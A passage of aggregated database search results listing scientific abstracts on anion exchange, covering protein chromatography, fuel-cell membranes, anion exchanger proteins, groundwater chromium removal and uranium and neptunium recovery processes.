chromatography were optimized separately. The chromogenic substrate, gel filtration and sodium dodecyl sulfate-polyacrylamide gel electrophoresis (SDS-PAGE) were used to monitor the bioactivity and purity of the chromatographic products. The results showed that the superporous medium could not only protect structure of macro-protein but also enhance its mass transfer, finally giving FVIII product with high activity. The yield of F VIII in superporous chromatography was about five times of commercially agarose chromatography and the specific activity was up to 154 IU/mg protein. Furthermore, we studied the regeneration process of the superporous medium, washing the column with 5 column volumes of 1 mol/L NaOH at a low flow rate, to ensure the chromatographic stability. This purification process is simple, reproducible and suitable for large-scale production. 2. Analysis of diffusion models for protein adsorption to porous anion-exchange adsorbent. PubMed Chen, Wei-Dong; Dong, Xiao-Yan; Sun, Yan 2002-07-12 3. Modeling of protein-anion exchange resin interaction for the human growth hormone charge variants. PubMed Lapelosa, Mauro; Patapoff, Thomas W; Zarraga, Isidro E 2015-12-01 Modeling ion exchange chromatography (IEC) behavior has generated significant interest because of the wide use of IEC as an analytical technique as well as a preparative protein purification process; indeed there is a need for better understanding of what drives the unique behavior of protein charge variants. We hypothesize that a complex protein molecule, which contains both hydrophobic and charged moieties, would interact strongly with an in silico designed resin through charged electrostatic patches on the surface of the protein. In the present work, variants of recombinant human growth hormone that mimic naturally-occurring deamidation products were produced and characterized in silico. The study included these four variants: rhGH, N149D, N152D, and N149D/N152D. Poisson-Boltzmann calculations were used to determine surface electrostatic potential. Metropolis Monte Carlo simulations were carried out with the resulting variants to simulate IEC systems, examining the free energy of the interaction of the protein with an in silico anion exchange column represented by polylysine polypeptide. The results show that the charge variants have different average binding energies and the free energy of interaction can be used to predict the retention time for the different variants. 4. Transport of some strong incompletely dissociated acids through anion-exchange membrane. PubMed Palatý, Zdenek; Záková, Alena 2003-12-01 Nitric and sulfuric acids belong among strong incompletely dissociated acids, so that in the description of their transport through an ion-exchange membrane, ionic equilibria have to be taken into account. The paper presents the determination of ionic mobilities and diffusivity of nondissociated form of these acids. For that purpose, data on the dialysis experiments with nitric and sulfuric acids in a batch mixed cell with an anion-exchange membrane NEOSEPTA-AFN, which have been completed by those on the membrane conductivity, have been used. The dependencies of the ionic mobilities and the diffusivity of nondissociated form of nitric acid upon the acid concentration in the membrane have been approximated by second degree polynomials. Their coefficients have been determined by numerical integration of the partial differential equation describing the concentration fields of the acids in the membrane and liquid films on both sides of the membrane, followed by an optimizing procedure. The model used is based on the Nernst-Planck electrodiffusion equation. Using all the experimental data obtained at various acid concentrations and rotational speeds of the stirrers, it has been found that ionic mobility is strongly affected by the acid concentration in the membrane and decreases in the series H(3)O(+), SO(2-)(4), NO(-)(3), HSO(-)(4). 5. Performance testing of grout-based waste forms for the solidification of anion exchange resins SciTech Connect Morgan, I.L.; Bostick, W.D. 1990-10-01 The solidification of spent ion exchanges resins in a grout matrix as a means of disposing of spent organic resins produced in the nuclear fuel cycle has many advantages in terms of process simplicity and economy, but associated with the process is the potential for water/cement/resins to interact and degrade the integrity of the waste form solidified. Described in this paper is one possible solution to preserving the integrity of these solidified waste forms: the encapsulation of beaded anion exchange resins in grout formulations containing ground granulated blast furnace slag, Type I-II (mixed) portland cement, and additives (clays, amorphous silica, silica fume, and fly ash). The results of the study reported herein show the cured waste form tested has a low leach rate for nitrate ion from the resin (and a low leach rate is inferred for Tc-99) and acceptable durability as assessed by the water immersion and freezing/thawing test protocols. The results also suggest a tested surrogate waste form prepared in vinyl ester styrene binder performs satisfactorily against the wetting/drying criterion, and it should offer additional insight into future work on the solidification of spent organic resins. 26 refs., 4 figs., 5 tabs. 6. ANIONIC EXCHANGE PROCESS FOR THE RECOVERY OF URANIUM AND VANADIUM FROM CARBONATE SOLUTIONS DOEpatents Bailes, R.H.; Ellis, D.A.; Long, R.S. 1958-12-16 Uranium and vanadium can be economically purified and recovered from non- salt roast carbonate leach liquors by adsorption on a strongly basic anionic exchange resin and subsequent selective elution by one of three alternative methods. Method 1 comprises selectively eluting uranium from the resin with an ammonium sulfate solution followed by eluting vanadium from the resin with either 5 M NaCl, saturated (NH/sub 4/)/sub 2/CO/sub 3/, saturated NaHCO/sub 3/, 1 M NaOH, or saturated S0/sub 2/ solutions. Method II comprises selectively eluting vanadium from the resin with either concentrated NaCl or S0/sub 2/ solutions subsequent to pretreatment of the column with either S0/sub 2/ gas, 1 N HCl, or 0.1 N H/sub 2/8O/sub 4/ followed by eluting uranium from the resin with solutions containing 0.9 M NH/sub 4/Cl or NaCl and 0.1 Cl. Method III comprises flowing the carbonate leac solutlon through a first column of a strongly basic anlonlc exchange resin untll vanadium breakthrough occurs, so that the effluent solution is enriched ln uranium content and the vanadium is chiefly retalned by the resln, absorbing the uranlum from the enriched effluent solution on a second column of a strongly basic anionic exchange resin, pretreating the first column with either 0.1 N HCl, 0.1 H/sub 2/SO/sub 4/, C0/sub 2/ gas, or ammonium sulfate, selectively eluting the vanadlum from the column with saturated S0/sub 2/ solution, pretreatlng the second column with either 0.1 N HCl or S0/sub 2/ gas, selectively eluting residual vanadium from the column with saturated S0/sub 2/ solution, and then eluting the uranium from the column with either 0.1 N HCl and 1 N NaCl orO.l N HCl and 1 N NH/sub 4/Cl. 7. Grafting glycidyl methacrylate to Sepharose gel for fabricating high-capacity protein anion exchangers. PubMed Wang, Qianqian; Yu, Linling; Sun, Yan 2016-04-22 To develop ion exchangers of high protein adsorption capacity, we have herein introduced atom transfer radical polymerization (ATRP) method to graft glycidyl methacrylate (GMA) onto Sepharose FF gel. GMA-grafted Sepharose FF resins of four grafting densities and different grafting chain lengths were obtained by adjusting reaction conditions. The epoxy groups on the grafted chains were functionalized by modification with diethylamine (DEA), leading to the fabrication of Sepharose-based anion exchangers of 14 different grafting densities and/or grafting chain lengths. The resins were first characterized for the effects of grafting density, chain length and ionic strength on pore sizes by inverse size exclusion chromatography. Then, the resins were evaluated by adsorption equilibria of bovine serum albumin (BSA) as a function of ionic capacity (IC) (chain length) at individual grafting densities. It was observed that at each grafting density there was a specific IC value (chain length) that offered the maximum equilibrium capacity. Of the resins with maximum values at individual grafting densities, the resin of the second grafting density with an IC value of 330 mmol/L (denoted as FF-Br2-pG-D330) showed the highest capacity, 264 mg/mL, about two times higher than that of the traditional ungrafted resin Q Sepharose FF (137 mg/mL). This resin also showed the most favorable uptake kinetics among the resins of similar IC values but different grafting densities, or of the same grafting density but different IC values. Effects of ionic strength showed that the capacities of FF-Br2-pG-D330 were much higher than Q Sepharose FF at a wide range of NaCl concentrations (0-200 mmol/L), and the uptake rates of the two resins were similar in the ionic strength range. Therefore, the dynamic binding capacity values of BSA on FF-Br2-pG-D330 were much higher than Q Sepharose FF as demonstrated at different residence times and ionic strengths. Taken together, the research has proved the 8. Boosting Proton Conductivity in Highly Robust 3D Inorganic Cationic Extended Frameworks through Ion Exchange with Dihydrogen Phosphate Anions. PubMed Xiao, Chengliang; Wang, Yaxing; Chen, Lanhua; Yin, Xuemiao; Shu, Jie; Sheng, Daopeng; Chai, Zhifang; Albrecht-Schmitt, Thomas E; Wang, Shuao 2015-12-01 The limited long-term hydrolytic stability of rapidly emerging 3D-extended framework materials (MOFs, COFs, MOPs, etc.) is still one of major barriers for their practical applications as new solid-state electrolytes in fuel cells. To obtain hydrolytically stable materials, two H2 PO4 (-) -exchanged 3D inorganic cationic extended frameworks (CEFs) were successfully prepared by a facile anion-exchange method. Both anion-exchanged CEFs (YbO(OH)P and NDTBP) show significantly enhanced proton conductivity when compared with the original materials (YbO(OH)Cl and NDTB) with an increase of up to four orders-of-magnitude, reaching 2.36×10(-3) and 1.96×10(-2) S cm(-1) at 98 % RH and 85 °C for YbO(OH)P and NDTBP, respectively. These values are comparable to the most efficient proton-conducting MOFs. In addition, these two anion-exchanged materials are stable in boiling water, which originates from the strong electrostatic interaction between the H2 PO4 (-) anion and the cationic host framework, showing a clear advance over all the acid-impregnated materials (H2 SO4 @MIL-101, H3 PO4 @MIL-101, and H3 PO4 @Tp-Azo) as practical solid-state fuel-cell electrolytes. This work offers a new general and efficient approach to functionalize 3D-extended frameworks through an anion-exchange process and achieves water-stability with ultra-high proton conductivity above 10(-2) S cm(-1) . 9. Anion Exchanger 2 Regulates Dectin-1-Dependent Phagocytosis and Killing of Candida albicans PubMed Central Urso, Katia; Charles, Julia F.; Shull, Gary E.; Aliprantis, Antonios O.; Balestrieri, Barbara 2016-01-01 Anion exchanger 2 (Ae2; gene symbol, Slc4a2) is a plasma membrane Cl-/HCO3- exchanger expressed in the gastrointestinal tract, kidney and bone. We have previously shown that Ae2 is required for the function of osteoclasts, bone resorbing cells of the macrophage lineage, to maintain homeostatic cytoplasmic pH and electroneutrality during acid secretion. Macrophages require endosomal acidification for pathogen killing during the process known as phagocytosis. Chloride is thought to be the principal ion responsible for maintaining electroneutrality during organelle acidification, but whether Cl-/HCO3- exchangers such as Ae2 contribute to macrophage function is not known. In this study we investigated the role of Ae2 in primary macrophages during phagocytosis. We find that Ae2 is expressed in macrophages where it regulates intracellular pH and the binding of Zymosan, a fungal cell wall derivative. Surprisingly, the transcription and surface expression of Dectin-1, the major phagocytic receptor for Candida albicans (C. albicans) and Zymosan, is reduced in the absence of Ae2. As a consequence, Zymosan-induced Tnfα expression is also impaired in Ae2-deficient macrophages. Similar to Ae2 deficiency, pharmacological alkalinization of lysosomal pH with bafilomycin A decreases both Dectin-1 mRNA and cell surface expression. Finally, Ae2-deficient macrophages demonstrate defective phagocytosis and killing of the human pathogenic fungus C. albicans. Our results strongly suggest that Ae2 is a critical factor in the innate response to C. albicans. This study represents an important contribution to a better understanding of how Dectin-1 expression and fungal clearance is regulated. PMID:27391897 10. Anion-directed assemblies of cationic metal-organic frameworks based on 4,4'-bis(1,2,4-triazole): syntheses, structures, luminescent and anion exchange properties. PubMed Li, Xinxiong; Gong, Yaqiong; Zhao, Huaixia; Wang, Ruihu 2014-11-17 Three cationic metal-organic frameworks (MOFs), Ag(btr)·PF6·0.5CH3CN (1), Ag2(btr)2(H2O)·2CF3SO3·H2O (2), and Ag2(btr)2(NO3)·NO3 (3), were prepared from reaction of 4,4'-bis(1,2,4-triazole) (btr) with silver salts containing different anions. Complex 1 is a three-dimensional (3-D) framework constructed from tetrahedral-shaped nanoscale coordination cages with PF6(-) as counteranions. 2 and 3 are 3-D architectures containing 1-D channels, in which charge-balancing CF3SO3(-) and NO3(-) are located in their respective channels. Luminescent emission of 1-3 shows an obvious red shift compared with the btr ligand. Anion exchange studies show that 1 is able to selectively exchange MnO4(-) in aqueous solution with a modest capacity of 0.56 mol mol(-1); the luminescent emission of 1 is quickly quenched upon MnO4(-) exchange. 11. Removing hexavalent chromium from subsurface waters with anion-exchange resin SciTech Connect Torres, R.A. 1995-06-01 Some subsurface waters at Lawrence Livermore National Laboratory (LLNL) are contaminated with volatile organic compounds (VOCs). Hexavalent chromium, Cr(VI), is also present in the ground water; however, the source of the Cr(VI) may be natural. The Cr(VI) still must be treated if brought to the surface because its concentration exceeds discharge standards. We are planning facilities for removing the VOCs and Cr(VI) to a level below the discharge standards. The planned treatment includes the following steps: (1) Pumping the water to the surface facility. (2) Purging the VOCs with air and absorbing them on activated carbon. The VOCs in LLNLs subsurface waters are primarily chlorinated organic solvents, such as dichloroethylene (DCE), trichloroethylene (TCE), perchloroethylene (PCE), and chloroform (CHCl{sub 3}). Contamination levels range from tens to thousands of parts per billion. (3) Filtering the water. (4) Passing the water through anion-exchange resin to remove the Cr. The Cr in LLNL subsurface waters occurs almost entirely as Cr(VI), which exists as the chromate anion, CrO{sub 4}{sup 2-}, at environmental pH. Cr levels range from tens to hundreds of parts per billion. (5) Discharging the treated water into the local arroyos. The relevant discharge criteria are 5 ppb total VOCs, 11 ppb Cr(VI), and pH between 6.5 and 8.5, inclusive. This report describes laboratory experiments undertaken to learn how the proposed treatment facility can be expected to operate. The laboratory results are expected to supply vendors with the detailed performance specifications needed to prepare bids on the Cr removal portion of the treatment facility. The treatment facility is expected to process 60 gallons per minute (gpm) of water by stripping VOCs with 720 standard cubic feet per minute (scfm) of air and removing Cr(VI) with 60 ft{sup 3} of resin. 12. Anion exchange of organic carboxylate by soils responsible for positive Km-fc relationship from methanol mixture. PubMed Kim, Minhee; Han, Junho; Hyun, Seunghun 2013-09-01 The cosolvency model was not applicable for predicting the sorption of organic carboxylic acids. The reason of inapplicability was investigated by analyzing the solubility (Sm) and sorption (Km) of benzoic acid, 2,4-dichlorophenoxyacetic acid (2,4-D), and 2,4,6-trichlorophenol (2,4,6-TCP). The Sm and Km by two iron-rich soils was measured as a function of methanol volume fraction (fc), electrolyte compositions, and pH(app). For 2,4,6-TCP, the Km of both neutral and anion species was well-explainable by the cosolvency model, exemplifying the knowledge of cosolvency power (σ) being sufficient to describe its sorption. However, for benzoic acid and 2,4-D, the Km of organic anions increased with fc, illustrating the organic carboxylate to be responsible for the deviation. The Sm of organic anions was not affected by the ionic valence (Ca(2+) vs. K(+)) of liquid phase. Among hydrophilic quantities of the 2,4-D sorption, the fraction of anion exchange increased with fc while the fraction of Ca-bridge decreased in the same range. Adding solvent in soil-water system is likely to render soil surface charge more positive, fortifying the anion exchange, but opposing the formation of Ca-bridging. Therefore, it can be concluded that the positive Km-fc relationship is due to the anion exchange of organic carboxylate with positively charged soil surface, whose contribution is >50% of overall sorption at solvent-free system and becomes greater with fc up to 82%. 13. Fouling of an anion exchange chromatography operation in a monoclonal antibody process: Visualization and kinetic studies PubMed Central Close, Edward J; Salm, Jeffrey R; Iskra, Timothy; Sørensen, Eva; Bracewell, Daniel G 2013-01-01 14. Effect of Oxalate on the Recycle of Neptunium Filtrate Solution by Anion Exchange SciTech Connect Kyser, E 2004-11-18 A series of laboratory column runs has been performed that demonstrates the recovery of neptunium (Np) containing up to 0.05 M oxalate. Np losses were generally less than one percent to the raffinate for feed solutions that contained 2 to 10 g Np/L. Up to 16 percent Np losses were observed with lower Np feed concentrations, but those losses were attributed to the shortened residence times rather than the higher oxalate to Np ratios. Losses in the plant are expected to be significantly less due to the lower cross-section flowrate possible with existing plant pumps. Elimination of the permanganate treatment of filtrates appears to be reasonable since the amount of Np in those filtrates does not appear to be practical to recover. Combination of untreated filtrates with other actinide rich solutions is not advisable as precipitation problems are likely. If untreated filtrates are kept segregated from other actinide rich streams, the recovery of the remaining Np is probably still possible, but could be limited due to the excessively high oxalate to Np ratio. The persistence of hydrazine/hydrazoic acid in filtrate solutions dictates that the nitrite treatment be retained to eliminate those species from the filtrates prior to transfer to the canyon. Elimination of the permanganate treatment of precipitator flushes and recovery by anion exchange does not appear to be limited by the oxalate effect on anion exchange. Np from solutions with higher oxalate to Np molar ratios than expected in precipitator flushes was recovered with low to modest losses. Solubility problems appear to be unlikely when the moles of oxalate involved are less than the total number of moles of Np due to complexation effects. The presence of significant concentrations of iron (Fe) in the solutions will further decrease the probability of Np oxalate precipitation due the formation of Fe oxalate complexes. Np oxalate solubility data in 8 M HNO{sub 3} with from one to six times as much oxalate as Np have 15. Gaseous anion chemistry. Hydrogen-deuterium exchange in mono- and dialcohol alkoxide ions: ionization reactions in dialcohols SciTech Connect Lloyd, J.R.; Agosta, W.C.; Field, F.H. 1980-08-15 The subject of this work is H-D exchange in certain gaseous anions using D/sub 2/ as the exchanging agent. The anions involved are produced from ethylene glycol, 1,3-propanediol, 1,4-butanediol, ethanol, 1-propanol, and 1-butanol. Spectra and postulated ionization reactions for these mono- and dialcohols are given. Hydrogen-deuterium exchange occurs in the (M - 1)/sup -/ and (2M - 1)/sup -/ ions of ethylene glycol, 1,3-propanediol, and 1,4-butanediol. The amount of exchange occurring is 3-8 times greater in (2M - 1)/sup -/ than in (M - 1)/sup -/. The amount of H-D exchange occurring in ethanol, 1-propanol, and 1-butanol is small or zero in the (2M - 1)/sup -/ ions and in the (M - 1)/sup -/ ion for 1-butanol (the only (M - 1)/sup -/ ion which could be examined experimentally). The amount of exchange occurring in the (2M - 1)/sup -/ and (M - 1)/sup -/ ions from ethylene glycol is not affected by the total pressure or composition of the reaction mixture in the ionization chamber of the mass spectrometer. A novel hydrogen-bridging mechanism is suggested to account for the observed exchange occurring in the dialcohols. 16. Human kidney anion exchanger 1 interacts with kinesin family member 3B (KIF3B) SciTech Connect Duangtum, Natapol; Junking, Mutita; Sawasdee, Nunghathai; Cheunsuchon, Boonyarit; Limjindaporn, Thawornchai; Yenchitsomanus, Pa-thai 2011-09-16 Highlights: {yields} Impaired trafficking of kAE1 causes distal renal tubular acidosis (dRTA). {yields} The interaction between kAE1 and kinesin family member 3B (KIF3B) is reported. {yields} The co-localization between kAE and KIF3B was detected in human kidney tissues. {yields} A marked reduction of kAE1 on the cell membrane was observed when KIF3B was knockdown. {yields} KFI3B plays an important role in trafficking of kAE1 to the plasma membrane. -- Abstract: Impaired trafficking of human kidney anion exchanger 1 (kAE1) to the basolateral membrane of {alpha}-intercalated cells of the kidney collecting duct leads to the defect of the Cl{sup -}/HCO{sub 3}{sup -} exchange and the failure of proton (H{sup +}) secretion at the apical membrane of these cells, causing distal renal tubular acidosis (dRTA). In the sorting process, kAE1 interacts with AP-1 mu1A, a subunit of AP-1A adaptor complex. However, it is not known whether kAE1 interacts with motor proteins in its trafficking process to the plasma membrane or not. We report here that kAE1 interacts with kinesin family member 3B (KIF3B) in kidney cells and a dileucine motif at the carboxyl terminus of kAE1 contributes to this interaction. We have also demonstrated that kAE1 co-localizes with KIF3B in human kidney tissues and the suppression of endogenous KIF3B in HEK293T cells by small interfering RNA (siRNA) decreases membrane localization of kAE1 but increases its intracellular accumulation. All results suggest that KIF3B is involved in the trafficking of kAE1 to the plasma membrane of human kidney {alpha}-intercalated cells. 17. Physical and functional links between anion exchanger-1 and sodium pump. PubMed Su, Ya; Al-Lamki, Rafia S; Blake-Palmer, Katherine G; Best, Alison; Golder, Zoe J; Zhou, Aiwu; Karet Frankl, Fiona E 2015-02-01 Anion exchanger-1 (AE1) mediates chloride-bicarbonate exchange across the plasma membranes of erythrocytes and, via a slightly shorter transcript, kidney epithelial cells. On an omnivorous human diet, kidney AE1 is mainly active basolaterally in α-intercalated cells of the collecting duct, where it is functionally coupled with apical proton pumps to maintain normal acid-base homeostasis. The C-terminal tail of AE1 has an important role in its polarized membrane residency. We have identified the β1 subunit of Na(+),K(+)-ATPase (sodium pump) as a binding partner for AE1 in the human kidney. Kidney AE1 and β1 colocalized in renal α-intercalated cells and coimmunoprecipitated (together with the catalytic α1 subunit of the sodium pump) from human kidney membrane fractions. ELISA and fluorescence titration assays confirmed that AE1 and β1 interact directly, with a Kd value of 0.81 μM. GST-AE1 pull-down assays using human kidney membrane proteins showed that the last 11 residues of AE1 are important for β1 binding. siRNA-induced knockdown of β1 in cell culture resulted in a significant reduction in kidney AE1 levels at the cell membrane, whereas overexpression of kidney AE1 increased cell surface sodium pump levels. Notably, membrane staining of β1 was reduced throughout collecting ducts of AE1-null mouse kidney, where increased fractional excretion of sodium has been reported. These data suggest a requirement of β1 for proper kidney AE1 membrane residency, and that activities of AE1 and the sodium pump are coregulated in kidney. 18. Studies on the batch adsorption of plasmid DNA onto anion-exchange chromatographic supports. PubMed Ferreira, G N; Cabral, J M; Prazeres, D M 2000-01-01 The adsorption of a supercoiled 4.8 kbp plasmid onto quaternary ammonium anion-exchangers was studied in a finite bath. Equilibrium experiments were performed with pure plasmid, at 25 degrees C, using commercial Q-Sepharose matrices differing in particle diameter (High Performance, 34 microm; Fast Flow, 90 microm; and Big Beads, 200 microm) and a recently commercialized ion-exchanger, Streamline QXL (d(p) = 200 microm) at different salt concentrations (0.5, 0.7, and 1 M NaCl). Plasmid adsorption was found to follow second-order kinetics (Langmuir isotherm) with average association constants K(A) = 0.32+/-0.12 mL microg(-)(1) and K(A) = 0.25+/-0.15 mL microg(-1) at 0.5 and 0.7 M Nacl, respectively. The maximum binding capacities were not dependent on the ionic strength in the range 0.5-0.7 M but decreased with increasing particle diameter, suggesting that adsorption mainly occurs at the surface of the particles. No adsorption was found at 1 M NaCl. A nonporous model was applied to describe the uptake rate of plasmid onto Streamline QXL at 0.5 M NaCl. The overall process rate was controlled by mass transfer in the regions of low relative amounts of adsorbent (initial stages) and kinetically controlled in the later stages of the process for high relative amounts of adsorbent. The forward reaction rate constant (k(1) = 0.09+/-0.01 mL mg(-1) s(-1)) and film mass transfer coefficient (K(f) = (6 +/- 2) x 10(-4) cm s(-1)) were calculated. Simulations were performed to study the effect of the relative amount of adsorbent on the overall process rate, yield, and media capacity utilization. 19. Oxygen isotope fractionation in phosphates: the role of dissolved complex anions in isotope exchange. PubMed Zheng, Yong-Fei 2016-01-01 Oxygen isotope fractionation factors for phosphates were calculated by means of the increment method. The results suggest that Ag3PO4 and BiPO4 are enriched in (18)O relative to AgPO4, and the three phosphates are consistently depleted in (18)O relative to Ba3[PO4]2; fluorapatite and chlorapatite exhibit a similar behaviour of oxygen isotope fractionation with consistent enrichment of (18)O relative to hydroxyapatite. The valence, radii and coordination of metal cations play a quantitative role in dictating the (18)O/(16)O partitioning in these phosphates of different compositions. The calculated fractionation factors for the Ag3PO4-H2O system are in agreement with experimental determinations derived from enzyme-catalysed isotope exchange between dissolved inorganic phosphate and water at the longest reaction durations at low temperatures. This demonstrates that the precipitated Ag3PO4 has completely captured the oxygen isotope fractionation in the dissolved inorganic phosphate. The calculated fractionation factors for the F/Cl-apatite-water systems are in agreement with the enzyme-catalysed experimental fractionations for the dissolved phosphate-water system at the longest reaction durations but larger than fractionations derived from bacteria-facilitated exchange and inorganic precipitation experiments as well as natural observations. For the experimental calibrations of oxygen isotope fractionation involving the precipitation of dissolved phosphate species from aqueous solutions, the fractionation between precipitate and water is primarily dictated by the isotope equilibration between the dissolved complex anions and water prior to the precipitation. Therefore, the present results provide a quantitative means to interpret the temperature dependence of oxygen isotope fractionation in inorganic and biogenic phosphates. 20. Palmitoylation is not required for trafficking of human anion exchanger 1 to the cell surface. PubMed Central Cheung, Joanne C; Reithmeier, Reinhart A F 2004-01-01 AE1 (anion exchanger 1) is a glycoprotein found in the plasma membrane of erythrocytes, where it mediates the electroneutral exchange of chloride and bicarbonate, a process important in CO2 removal from tissues. It had been previously shown that human AE1 purified from erythrocytes is covalently modified at Cys-843 in the membrane domain with palmitic acid. In this study, the role of Cys-843 in human AE1 trafficking was investigated by expressing various AE1 and Cys-843Ala (C843A) mutant constructs in transiently transfected HEK-293 cells. The AE1 C843A mutant was expressed to a similar level to AE1. The rate of N-glycan conversion from high-mannose into complex form in a glycosylation mutant (N555) of AE1 C843A, and thus the rate of trafficking from the endoplasmic reticulum to the Golgi, were comparable with that of AE1 (N555). Like AE1, AE1 C843A could be biotinylated at the cell surface, indicating that a cysteine residue at position 843 is not required for cell-surface expression of the protein. The turnover rate of AE1 C843A was not significantly different from AE1. While other proteins could be palmitoylated, labelling of transiently transfected HEK-293 cells or COS7 cells with [3H]palmitic acid failed to produce any detectable AE1 palmitoylation. These results suggest that AE1 is not palmitoylated in HEK-293 or COS7 cells and can traffic to the plasma membrane. PMID:14640982 1. Degradation of imidazolium- and quaternary ammonium-functionalized poly(fluorenyl ether ketone sulfone) anion exchange membranes. PubMed Chen, Dongyang; Hickner, Michael A 2012-11-01 Imidazolium and quaternary ammonium-functionalized poly(fluorenyl ether ketone sulfone)s were synthesized successfully with the same degree of cationic functionalization and identical polymer backbones for a comparative study of anion exchange membranes (AEMs) for solid-state alkaline membrane fuel cells (AMFCs). Both anion exchange membranes were synthesized using a new methyl-containing monomer that avoided the use of toxic chloromethylation reagents. The polymer chemical structures were confirmed by ¹H NMR and FTIR. The derived AEMs were fully characterized by water uptake, anion conductivity, stability under aqueous basic conditions, and thermal stability. Interestingly, both the cationic groups and the polymer backbone were found to be degraded in 1 M NaOH solution at 60 °C over 48 h as measured by changes of ion exchange capacity and intrinsic viscosity. Imidazolium-functionalized poly(fluorenyl ether ketone sulfone)s had similar aqueous alkaline stability to quaternary ammonium-functionalized materials at 60 °C but much lower stability at 80 °C. This work demonstrates that quaternary ammonium and imidazolium cationic groups are not stable on poly(arylene ether sulfone) backbones under relatively mild conditions. Additionally, the poly(arylene ether sulfone) backbone, which is one of the most common polymers used in ion exchange membrane applications, is not stable in the types of molecular configurations analyzed. 2. Degradation of Imidazolium- and Quaternary Ammonium-Functionalized Poly(fluorenyl ether ketone sulfone) Anion Exchange Membranes SciTech Connect Chen, DY; Hickner, MA 2012-11-01 Imidazolium and quaternary ammonium-functionalized poly(fluorenyl ether ketone sulfone)s were synthesized successfully with the same degree of cationic functionalization and identical polymer backbones for a comparative study of anion exchange membranes (AEMs) for solid-state alkaline membrane fuel cells (AMFCs). Both anion exchange membranes were synthesized using a new methyl-containing monomer that avoided the use of toxic chloromethylation reagents. The polymer chemical structures were confirmed by H-1 NMR and FTIR. The derived AEMs were fully characterized by water uptake, anion conductivity, stability under aqueous basic conditions, and thermal stability. Interestingly, both the cationic groups and the polymer backbone were found to be degraded in 1 M NaOH solution at 60 degrees C over 48 h as measured by changes of ion exchange capacity and intrinsic viscosity. Imidazolium-functionalized poly(fluorenyl ether ketone sulfone)s had similar aqueous alkaline stability to quaternary ammonium-functionalized materials at 60 degrees C but much lower stability at 80 degrees C. This work demonstrates that quaternary ammonium and imidazolium cationic groups are not stable on poly(arylene ether sulfone) backbones under relatively mild conditions. Additionally, the poly(arylene ether sulfone) backbone, which is one of the most common polymers used in ion exchange membrane applications, is not stable in the types of molecular configurations analyzed. 3. Macroporous poly(glycidyl methacrylate-triallyl isocyanurate-divinylbenzene) matrix as an anion-exchange resin for protein adsorption. PubMed Yu, Y; Sun, Y 1999-09-03 A novel macroporous poly(glycidyl methacrylate-triallyl isocyanurate-divinylbenzene) matrix was prepared by a radical suspension copolymerization. The matrix contained epoxy groups, so diethylaminohydroxypropyl groups were coupled to the matrix, leading to an anion-exchange resin. We studied the components, surface and pore structures of the anion-exchange resin by Fourier transform infared spectroscopy and scanning electron microscopy (SEM). SEM observations showed that the resin abounded in macropores as large as 3 to 8 microns both in the surface and the interior. The back-pressure of the column packed with the resin was modest even at a high flow-rate (60.2 cm/min). Then, bovine serum albumin (BSA) was used as a model protein to examine the adsorption properties of the anion-exchange resin. The results showed that under optimum conditions the resin had a capacity as high as 22.8 mg BSA/g wet resin, or 68.7 mg/g dry resin. The adsorbed protein could be desorbed by increasing the liquid phase ionic strength. Most importantly, the matrix had little nonspecific adsorption for BSA before introducing the ion-exchange groups. 4. Quaternized dimethylaminoethyl methacrylate strong base anion exchange fibers for As(V) adsorption Kavaklı, Cengiz; Akkaş Kavaklı, Pınar; Turan, Burcu Dila; Hamurcu, Aslı; Güven, Olgun 2014-09-01 5. Accounting for host cell protein behavior in anion-exchange chromatography. PubMed Swanson, Ryan K; Xu, Ruo; Nettleton, Daniel S; Glatz, Charles E 2016-11-01 Host cell proteins (HCP) are a problematic set of impurities in downstream processing (DSP) as they behave most similarly to the target protein during separation. Approaching DSP with the knowledge of HCP separation behavior would be beneficial for the production of high purity recombinant biologics. Therefore, this work was aimed at characterizing the separation behavior of complex mixtures of HCP during a commonly used method: anion-exchange chromatography (AEX). An additional goal was to evaluate the performance of a statistical methodology, based on the characterization data, as a tool for predicting protein separation behavior. Aqueous two-phase partitioning followed by two-dimensional electrophoresis provided data on the three physicochemical properties most commonly exploited during DSP for each HCP: pI (isoelectric point), molecular weight, and surface hydrophobicity. The protein separation behaviors of two alternative expression host extracts (corn germ and E. coli) were characterized. A multivariate random forest (MVRF) statistical methodology was then applied to the database of characterized proteins creating a tool for predicting the AEX behavior of a mixture of proteins. The accuracy of the MVRF method was determined by calculating a root mean squared error value for each database. This measure never exceeded a value of 0.045 (fraction of protein populating each of the multiple separation fractions) for AEX. © 2016 American Institute of Chemical Engineers Biotechnol. Prog., 32:1453-1463, 2016. 6. Influence of Hydration Level on Polymer and Water Dynamics in Alkaline Anion Exchange Fuel Cell Membranes Tarver, Jacob; Kim, Jenny; Tyagi, Madhu; Soles, Christopher; Tsai, Tsung-Han; Coughlin, Bryan 2015-03-01 Triblock copolymers based on poly(chloromethylstyrene)-b-poly(ethylene)-b-poly(chloromethylstyrene) can be quaternized to different extents to yield anion exchange membranes for alkaline fuel cells. In the absence of moisture, these membranes demonstrate bilayer lamellar morphology. Upon high levels of hydration, however, in-situ small angle neutron scattering reveals the emergence of higher-order diffraction peaks. This phenomena has previously been observed in analogous diblock copolymer-based membranes and has been attributed to the induction of a multilayer lamellar morphology in which selective striping of water occurs in the center of the ion-rich domain. By conducting humidity-resolved quasielastic neutron scattering (QENS) measurements using deuterated water, we are able to isolate differences in the pico- to nanosecond timescale dynamics of the hydrogenated membrane upon hydration. QENS measurements in the presence of a hydrogenated water source subsequently permit deconvolution and isolation of the translational and rotational dynamics of water as a function of relative humidity, revealing spatial and temporal changes in polymer and water motion at high levels of hydration. 7. Reversible air electrodes integrated with an anion-exchange membrane for secondary air batteries Fujiwara, Naoko; Yao, Masaru; Siroma, Zyun; Senoh, Hiroshi; Ioroi, Tsutomu; Yasuda, Kazuaki Reversible air electrodes integrated with a polymer electrolyte membrane have been proposed for use in rechargeable metal-air batteries or unitized regenerative fuel cells to reduce the impact of atmospheric carbon dioxide. Reversible air electrodes were prepared with an anion-exchange membrane (AEM) as a polymer electrolyte membrane and platinum-based catalysts. The AEM at the interface between the alkaline electrolyte and the air electrode layer plays major roles in AEM-type air electrodes as follows: it blocks (a) the permeation of cations in the alkaline electrolyte into the air electrode layer to prevent carbonate precipitation, (b) penetration of the alkaline solution itself, and (c) neutralization of the alkaline electrolyte by carbon dioxide, all of which prevent performance degradation of oxygen reactions. Catalysts for decreasing the overvoltage of oxygen reactions were also investigated with the AEM-type air electrode, and the overall efficiency was improved due to a remarkable decrease in the potential for the oxygen evolution reaction with Pt-Ir catalysts. 8. Development of a modular virus clearance package for anion exchange chromatography operated in weak partitioning mode. PubMed Iskra, Timothy; Sacramo, 